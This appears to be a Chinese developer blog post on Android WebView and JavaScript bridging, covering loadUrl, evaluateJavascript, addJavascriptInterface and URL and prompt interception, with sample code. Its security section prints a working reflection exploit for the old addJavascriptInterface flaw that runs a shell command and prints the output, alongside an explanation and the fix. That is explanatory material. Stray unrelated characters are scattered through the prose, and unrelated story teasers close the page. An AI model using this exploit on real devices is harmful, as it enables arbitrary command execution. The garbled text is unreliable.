控件 -- WebView -- Android與JS交互

一孽椰、Android調(diào)用JS

方式1: WebView#loadUrl(String url)

//javascript.html
<html>
    <head>
        <meta charset="utf-8">
        <title >WebView</title>
        <script type="text/javascript">
            function androidCallJS(msg){
                alert("Android調(diào)用JS, msg: " + msg);
            }
        </script>
    </head>
    <body style="font-family:arial;color:red;font-size:30px;">
        This is HTML!
    </body>
</html>

//MainActivity
mCalljsBtn.setOnClickListener(new View.OnClickListener() {
    @Override
    public void onClick(View v) {
        String msg = "來自Android";
        mWebview.loadUrl("javascript:androidCallJS('" + msg + "')");
    }
});

//MainActivity
mWebview.setWebChromeClient(new WebChromeClient(){
    //若返回true,則WebView不處理JavaScript的警告事件鞋诗,由自己編寫的程序處理JavaScript的警告事件
    //若返回false削彬,則WebView處理JavaScript的警告事件
    @Override
    public boolean onJsAlert(WebView view, String url, String message, final JsResult result) {
        AlertDialog.Builder buidler = new AlertDialog.Builder(MainActivity.this);
        buidler.setTitle("JS alert 回調(diào)");
        buidler.setMessage(message);
        buidler.setPositiveButton(android.R.string.ok, new DialogInterface.OnClickListener() {
            @Override
            public void onClick(DialogInterface dialog, int which) {
                result.confirm();
            }
        });
        buidler.setCancelable(false);
        buidler.create().show();
        return true;
    }
});

方式2: WebView#evaluateJavascript(String script, ValueCallback<String> resultCallback)

//javascript.html
<html>
    <head>
        <meta charset="utf-8">
        <title >WebView</title>
        <script type="text/javascript">
            function androidCallJS(msg){
                return "Android調(diào)用JS, msg: " + msg;
            }
        </script>
    </head>
    <body style="font-family:arial;color:red;font-size:30px;">
        This is HTML!
    </body>
</html>

//MainActivity
mCalljsBtn.setOnClickListener(new View.OnClickListener() {
    @Override
    public void onClick(View v) {
        String msg = "來自Android";
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
            mWebview.evaluateJavascript("javascript:androidCallJS('" + msg + "')", new ValueCallback<String>() {
                @Override
                public void onReceiveValue(String value) {
                    Log.d(TAG, "zwm, onReceiveValue: " + value);
                }
            });
        }
    }
});

方式對比

方式對比

使用建議

兩種方式混合使用,Android 4.4以下使用方式1覆劈,Android 4.4以上方式2沛励。

String msg = "來自Android";
if(Build.VERSION.SDK_INT < Build.VERSION_CODES.KITKAT) {
    mWebview.loadUrl("javascript:androidCallJS('" + msg + "')");
} else {
    mWebview.evaluateJavascript("javascript:androidCallJS('" + msg + "')", new ValueCallback<String>() {
        @Override
        public void onReceiveValue(String value) {
            Log.d(TAG, "zwm, onReceiveValue: " + value);
        }
    });
}

二坤候、JS調(diào)用Android

方式1: 通過WebView#addJavascriptInterface(Object object, String name)進行對象映射

//JSCallAndroidObject
public class JSCallAndroidObject {
    private static String TAG = JSCallAndroidObject.class.getSimpleName();

    @JavascriptInterface
    public String jsCallAndroid(String msg) {
        Log.d(TAG, "zwm, jsCallAndroid msg: " + msg);
        return "來自Android";
    }
}

//MainActivity
mWebSettings.setJavaScriptEnabled(true);
mWebview.addJavascriptInterface(new JSCallAndroidObject(), "jsCallAndroidObject");
mWebview.loadUrl("file:///android_asset/javascript.html");

//MainActivity
mWebview.setWebChromeClient(new WebChromeClient(){
    //若返回true白筹,則WebView不處理JavaScript的警告事件谅摄,由自己編寫的程序處理JavaScript的警告事件
    //若返回false螟凭,則WebView處理JavaScript的警告事件
    @Override
    public boolean onJsAlert(WebView view, String url, String message, final JsResult result) {
        AlertDialog.Builder buidler = new AlertDialog.Builder(MainActivity.this);
        buidler.setTitle("JS alert 回調(diào)");
        buidler.setMessage(message);
        buidler.setPositiveButton(android.R.string.ok, new DialogInterface.OnClickListener() {
            @Override
            public void onClick(DialogInterface dialog, int which) {
                result.confirm();
            }
        });
        buidler.setCancelable(false);
        buidler.create().show();
        return true;
    }
});

//javascript.html
<html>
    <head>
        <meta charset="utf-8">
        <title >WebView</title>
        <script type="text/javascript">
            function jsCallAndroid() {
                var result = jsCallAndroidObject.jsCallAndroid("JS調(diào)用Android, 來自JS");
                alert("JS調(diào)用Android, Android返回值: " + result);
            }
        </script>
    </head>
    <body style="font-family:arial;color:red;font-size:30px;">
        This is HTML!
        <br><button type="button" style="font-family:arial;color:blue;font-size:30px;" id="button1" onclick="jsCallAndroid()">JS Call Android</button>
    </body>
</html>

安全漏洞:
在Android 4.2以前(不包含Android 4.2棒厘,API 17),使用WebView#addJavascriptInterface方法會引起遠程代碼執(zhí)行漏洞。
1.產(chǎn)生原因
當(dāng)JS拿到Android映射對象后句惯,就可以調(diào)用這個對象的所有方法抢野,還可以獲取系統(tǒng)類對象(java.lang.Runtime)各墨,從而進行任意代碼執(zhí)行贬堵。

獲取系統(tǒng)類對象過程如下:(結(jié)合Java反射機制)
(1)Android中的對象有一個公共的方法:getClass;
(2)該方法可以獲取當(dāng)前類的類型:Class筷厘;
(3)該類型有一個關(guān)鍵方法:Class.forName敞掘;
(4)該方法可以加載一個類對象:java.lang.Runtime楣铁;
(5)該類對象可以執(zhí)行本地命令盖腕。

獲取系統(tǒng)類對象代碼如下:

<script>
  var i=0;  
  function getContents(inputStream)  
  {  
    var contents = ""+i;  
    var b = inputStream.read();  
    var i = 1;  
    while(b != -1) {  
        var bString = String.fromCharCode(b);  
        contents += bString;  
        contents += "\n"  
        b = inputStream.read();  
    }  
    i=i+1;  
    return contents;  
   }  
    
   function execute(cmdArgs)  
   {  
    for (var obj in window) {  
        console.log(obj);  
        if ("getClass" in window[obj]) {  
            alert(obj);  
            return window[obj].getClass().forName("java.lang.Runtime").  
                getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  
         }  
     }  
   }   
    
  var p = execute(["ls","/mnt/sdcard/"]);  
  document.write(getContents(p.getInputStream()));  
</script>

//分析:
//1.execute方法:遍歷所有window對象,找到包含getClass方法的對象膛薛,利用這個對象哄啄,找到j(luò)ava.lang.Runtime類,
//然后調(diào)用getRuntime靜態(tài)方法得到Runtime的實例硼婿,再調(diào)用exec方法來執(zhí)行某段命令禽车。
//2.getContents方法:從流中讀取內(nèi)容殉摔。
//3.執(zhí)行結(jié)果:列出SDCard中的文件。

2.解決方案
對于Android 4.2以前(不包含Android 4.2,API 17)彻采,需要采用攔截JS prompt的方式進行漏洞修復(fù)岭粤。
對于Android 4.2以后特笋,只需要對被調(diào)用的函數(shù)以@JavascriptInterface進行注解猎物。

方式2: 通過WebViewClient#shouldOverrideUrlLoading回調(diào)攔截url

shouldOverrideUrlLoading(WebView view, String url) //在API 24以后過時
shouldOverrideUrlLoading(WebView view, WebResourceRequest request) //在API 24以后新加的

//javascript.html
<html>
    <head>
        <meta charset="utf-8">
        <title >WebView</title>
        <script type="text/javascript">
            function jsCallAndroid() {
                <!--約定的url協(xié)議為:js://webview?arg1=111&arg2=222-->
                document.location = "js://webview?arg1=111&arg2=222";
            }
        </script>
    </head>
    <body style="font-family:arial;color:red;font-size:30px;">
        This is HTML!
        <br><button type="button" style="font-family:arial;color:blue;font-size:30px;" id="button1" onclick="jsCallAndroid()">JS Call Android</button>
    </body>
</html>

//MainActivity
mWebSettings.setJavaScriptEnabled(true);
mWebview.loadUrl("file:///android_asset/javascript.html");

//MainActivity
mWebview.setWebViewClient(new WebViewClient(){
    @Override
    public boolean shouldOverrideUrlLoading(WebView view, String url) {
        Log.d(TAG, "zwm, shouldOverrideUrlLoading, url: " + url);
        //約定的url協(xié)議為:js://webview?arg1=111&arg2=222
        Uri uri = Uri.parse(url);
        if (uri.getScheme().equals("js")) {
            if (uri.getAuthority().equals("webview")) {
                String arg1 = uri.getQueryParameter("arg1");
                String arg2 = uri.getQueryParameter("arg2");
                Log.d(TAG, "zwm, JS調(diào)用Android, 來自JS, arg1: " + arg1 + ", arg2: " + arg2);
            }
            return true;
        }
        return super.shouldOverrideUrlLoading(view, url);
    }
});

如果JS想要得到Android方法的返回值淘讥,只能通過WebView#loadUrl方法去執(zhí)行JS方法蒲列,把返回值傳遞回去搀罢,代碼如下:

//javascript.html
function returnResult(result){
    alert("result: " + result);
}

//MainActivity
mWebView.loadUrl("javascript:returnResult('" + result + "')");

方式3: 通過WebChromeClient的onJsAlert方法榔至、onJsConfirm方法、onJsPrompt方法回調(diào)攔截JS的alert警告事件划提、confirm確認事件腔剂、prompt輸入事件

常用的攔截是:攔截JS的prompt輸入事件驼仪。因為只有prompt輸入框可以返回任意類型的值绪爸,而alert警告框沒有返回值,confirm確認框只能返回兩種狀態(tài)值。

//javascript.html
<html>
    <head>
        <meta charset="utf-8">
        <title >WebView</title>
        <script type="text/javascript">
            function jsCallAndroid() {
                <!--約定的message協(xié)議為:js://webview?arg1=111&arg2=222-->
                var result = prompt("js://webview?arg1=111&arg2=222");
                alert("JS調(diào)用Android, Android返回值: " + result);
            }
        </script>
    </head>
    <body style="font-family:arial;color:red;font-size:30px;">
        This is HTML!
        <br><button type="button" style="font-family:arial;color:blue;font-size:30px;" id="button1" onclick="jsCallAndroid()">JS Call Android</button>
    </body>
</html>

//MainActivity
mWebSettings.setJavaScriptEnabled(true);
mWebview.loadUrl("file:///android_asset/javascript.html");

//MainActivity
mWebview.setWebChromeClient(new WebChromeClient(){
    //若返回true柔滔,則WebView不處理JavaScript的警告事件睛廊,由自己編寫的程序處理JavaScript的警告事件
    //若返回false超全,則WebView處理JavaScript的警告事件
    @Override
    public boolean onJsAlert(WebView view, String url, String message, final JsResult result) {
        AlertDialog.Builder buidler = new AlertDialog.Builder(MainActivity.this);
        buidler.setTitle("JS alert 回調(diào)");
        buidler.setMessage(message);
        buidler.setPositiveButton(android.R.string.ok, new DialogInterface.OnClickListener() {
            @Override
            public void onClick(DialogInterface dialog, int which) {
                result.confirm();
            }
        });
        buidler.setCancelable(false);
        buidler.create().show();
        return true;
    }

    //若返回true邓馒,則WebView不處理JavaScript的輸入事件光酣,由自己編寫的程序處理JavaScript的輸入事件
    //若返回false救军,則WebView處理JavaScript的輸入事件
    @Override
    public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
        Log.d(TAG, "zwm, onJsPrompt, url: " + url);
        //約定的message協(xié)議為:js://webview?arg1=111&arg2=222
        Uri uri = Uri.parse(message);
        if (uri.getScheme().equals("js")) {
            if (uri.getAuthority().equals("webview")) {
                String arg1 = uri.getQueryParameter("arg1");
                String arg2 = uri.getQueryParameter("arg2");
                Log.d(TAG, "zwm, JS調(diào)用Android, 來自JS, arg1: " + arg1 + ", arg2: " + arg2);
            }
            result.confirm("來自Android");
            return true;
        }
        return super.onJsPrompt(view, url, message, defaultValue, result);
    }
});

方式對比

方式對比
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末视事,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子跌穗,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 221,576評論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件奕枢,死亡現(xiàn)場離奇詭異缝彬,居然都是意外死亡,警方通過查閱死者的電腦和手機奶卓,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,515評論 3 399
  • 文/潘曉璐 我一進店門墩邀,熙熙樓的掌柜王于貴愁眉苦臉地迎上來磕蒲,“玉大人只盹,你說我怎么就攤上這事殖卑。” “怎么了许起?”我有些...
    開封第一講書人閱讀 168,017評論 0 360
  • 文/不壞的土叔 我叫張陵园细,是天一觀的道長猛频。 經(jīng)常有香客問我鹿寻,道長,這世上最難降的妖魔是什么毡熏? 我笑而不...
    開封第一講書人閱讀 59,626評論 1 296
  • 正文 為了忘掉前任狱窘,我火速辦了婚禮训柴,結(jié)果婚禮上妇拯,老公的妹妹穿的比我還像新娘越锈。我一直安慰自己稀拐,他們只是感情好德撬,可當(dāng)我...
    茶點故事閱讀 68,625評論 6 397
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著坯苹,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上为鳄,一...
    開封第一講書人閱讀 52,255評論 1 308
  • 那天鉴逞,我揣著相機與錄音,去河邊找鬼。 笑死勾徽,一個胖子當(dāng)著我的面吹牛统扳,可吹牛的內(nèi)容都是我干的咒钟。 我是一名探鬼主播,決...
    沈念sama閱讀 40,825評論 3 421
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼萍嬉!你這毒婦竟也來了壤追?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,729評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎疯特,沒想到半個月后辙芍,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體羹与,經(jīng)...
    沈念sama閱讀 46,271評論 1 320
  • 正文 獨居荒郊野嶺守林人離奇死亡纵搁,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,363評論 3 340
  • 正文 我和宋清朗相戀三年腾誉,在試婚紗的時候發(fā)現(xiàn)自己被綠了峻呕。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片瘦癌。...
    茶點故事閱讀 40,498評論 1 352
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖西傀,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤饺鹃,帶...
    沈念sama閱讀 36,183評論 5 350
  • 正文 年R本政府宣布馏锡,位于F島的核電站,受9級特大地震影響杯道,放射性物質(zhì)發(fā)生泄漏党巾。R本人自食惡果不足惜齿拂,卻給世界環(huán)境...
    茶點故事閱讀 41,867評論 3 333
  • 文/蒙蒙 一肴敛、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧砸狞,春花似錦刀森、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,338評論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽乾胶。三九已至,卻和暖如春胚吁,著一層夾襖步出監(jiān)牢的瞬間腕扶,已是汗流浹背吨掌。 一陣腳步聲響...
    開封第一講書人閱讀 33,458評論 1 272
  • 我被黑心中介騙來泰國打工窿侈, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留史简,地道東北人肛著。 一個月前我還...
    沈念sama閱讀 48,906評論 3 376
  • 正文 我出身青樓枢贿,卻偏偏與公主長得像,于是被迫代替她去往敵國和親超凳。 傳聞我的和親對象是個殘疾皇子耀态,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 45,507評論 2 359